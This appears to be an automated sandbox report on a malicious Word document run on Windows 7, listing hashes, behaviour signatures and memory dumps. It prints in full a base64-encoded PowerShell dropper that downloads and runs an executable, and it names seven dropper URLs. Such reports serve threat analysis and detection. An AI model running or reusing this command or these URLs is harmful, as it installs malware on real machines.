Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 05:22

General

  • Target

    861504aa54be440eefa6c54145b37b45_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    861504aa54be440eefa6c54145b37b45

  • SHA1

    228929dec637253e466c7381efd011401735170a

  • SHA256

    2d7147815cf324934d8380a96ef712051bb5ba4d985b3a55143d688d8f91c3a8

  • SHA512

    1946a6fae96ad2f2f8a7e41a0c723c93484ee2cfe0e9c6f344ba5ba367862499b6e049bb53bf202e34a0f08f9533dd205407ebb77cd1791483a25aee7776e914

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9RxRiqLE8ct2PU7eXKSSxH5ppJxEFWZ:+0rfrzOH98ipgJkJxEFWZ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 13 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\861504aa54be440eefa6c54145b37b45_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1548
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2612
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2532

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      1a37fb543fb4fb0394ba003ccedd2b6a

      SHA1

      f7990ebef6ffbedc5809b3f8988f3a920cd6b9af

      SHA256

      adda419d918c184d1f44f938e8d0a1196cce471d9645f6158c197cbe43ed662d

      SHA512

      3435c1d56f4bacca770d8298a710e334cfc8b8b55b300ef6a47bc18bfb24c3f0783ed42c63172d9efe89f778b22b900ac20f9d8b6176fcbfde6ee5fffa7795e8

    • memory/1548-14-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-65-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1548-6-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-7-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-8-0x0000000005980000-0x0000000005A80000-memory.dmp

      Filesize

      1024KB

    • memory/1548-9-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-12-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-11-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-13-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-21-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-22-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-20-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-19-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-18-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-17-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-16-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-15-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-0-0x000000002FDE1000-0x000000002FDE2000-memory.dmp

      Filesize

      4KB

    • memory/1548-10-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-2-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/1548-32-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-27-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-24-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-23-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-31-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-25-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-30-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-29-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-28-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-33-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-66-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/1548-26-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-45-0x000000007181D000-0x0000000071828000-memory.dmp

      Filesize

      44KB

    • memory/1548-46-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-48-0x0000000000310000-0x0000000000410000-memory.dmp

      Filesize

      1024KB

    • memory/1548-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2532-40-0x0000000001F90000-0x0000000001F98000-memory.dmp

      Filesize

      32KB

    • memory/2532-39-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

      Filesize

      2.9MB